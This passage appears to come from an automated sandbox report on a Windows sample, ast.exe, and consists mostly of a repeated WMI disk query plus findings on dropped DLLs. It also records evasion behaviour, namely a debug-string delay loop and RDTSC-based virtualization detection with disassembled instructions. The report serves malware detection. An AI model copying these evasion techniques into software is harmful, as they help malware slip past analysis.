                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Tries to delay execution (extensive OutputDebugStringW loop)
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: OutputDebugStringW count: 1844
                          Tries to detect virtualization through RDTSC time measurements
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeRDTSC instruction interceptor: First address: 69B27E second address: 69B284 instructions: 0x00000000 rdtsc 0x00000002 mov edi, edx 0x00000004 mov ebx, eax 0x00000006 rdtsc
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeRDTSC instruction interceptor: First address: 69B284 second address: 69B294 instructions: 0x00000000 rdtsc 0x00000002 cmp edi, edx 0x00000004 jne 00007F4E88CD3E66h 0x00000006 sub eax, ebx 0x00000008 mov dword ptr [ebp-04h], eax 0x0000000b mov ecx, 0000000Ah 0x00000010 rdtsc
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeRDTSC instruction interceptor: First address: 69B294 second address: 69B29A instructions: 0x00000000 rdtsc 0x00000002 mov edi, edx 0x00000004 mov ebx, eax 0x00000006 rdtsc
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeRDTSC instruction interceptor: First address: 69B29A second address: 69B294 instructions: 0x00000000 rdtsc 0x00000002 cmp edi, edx 0x00000004 jne 00007F4E88CD3E66h 0x00000006 sub eax, ebx 0x00000008 cmp eax, dword ptr [ebp-04h] 0x0000000b jnle 00007F4E88CD3E75h 0x0000000d mov dword ptr [ebp-04h], eax 0x00000010 dec ecx 0x00000011 jne 00007F4E88CD3E59h 0x00000013 rdtsc
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWindow / User API: threadDelayed 1090Jump to behavior
                          Source: C:\Windows\SysWOW64\xcopy.exeDropped PE file which has not been started: C:\Users\user\AppData\Roaming\is\astclient.dllJump to dropped file
                          Source: C:\Windows\SysWOW64\xcopy.exeDropped PE file which has not been started: C:\Users\user\AppData\Roaming\is\astrct.dllJump to dropped file
                          Source: C:\Windows\SysWOW64\xcopy.exeDropped PE file which has not been started: C:\Users\user\AppData\Roaming\is\libeay32.dllJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-7K2HG.tmp\_isetup\_iscrypt.dllJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\u3w5\is-4DKN3.tmpJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\u3w5\aw_sas32.dll (copy)Jump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\u3w5\is-J00N2.tmpJump to dropped file
                          Source: C:\Windows\SysWOW64\xcopy.exeDropped PE file which has not been started: C:\Users\user\AppData\Roaming\is\opus.dllJump to dropped file
                          Source: C:\Windows\SysWOW64\xcopy.exeDropped PE file which has not been started: C:\Users\user\AppData\Roaming\is\aw_sas32.dllJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\u3w5\astclient.dll (copy)Jump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\u3w5\libcryptoMD.dll (copy)Jump to dropped file
                          Source: C:\Windows\SysWOW64\xcopy.exeDropped PE file which has not been started: C:\Users\user\AppData\Roaming\is\msvcr120.dllJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\u3w5\is-V6G0T.tmpJump to dropped file
                          Source: C:\Windows\SysWOW64\xcopy.exeDropped PE file which has not been started: C:\Users\user\AppData\Roaming\is\libcryptoMD.dllJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\u3w5\is-6KVQP.tmpJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\u3w5\is-U37IG.tmpJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\u3w5\libjpeg-turbo-win.dll (copy)Jump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\u3w5\is-T74LT.tmpJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\u3w5\is-0I1DI.tmpJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\u3w5\is-TI6M0.tmpJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\u3w5\libeay32.dll (copy)Jump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\u3w5\is-02JO0.tmpJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-J9P8D.tmp\_isetup\_iscrypt.dllJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\u3w5\hatls.dll (copy)Jump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\u3w5\unins000.exe (copy)Jump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\u3w5\is-L5V14.tmpJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\u3w5\is-U4T29.tmpJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\u3w5\msvcr120.dll (copy)Jump to dropped file
                          Source: C:\Windows\SysWOW64\xcopy.exeDropped PE file which has not been started: C:\Users\user\AppData\Roaming\is\libcurl.dllJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\u3w5\libcurl.dll (copy)Jump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\u3w5\astrct.dll (copy)Jump to dropped file
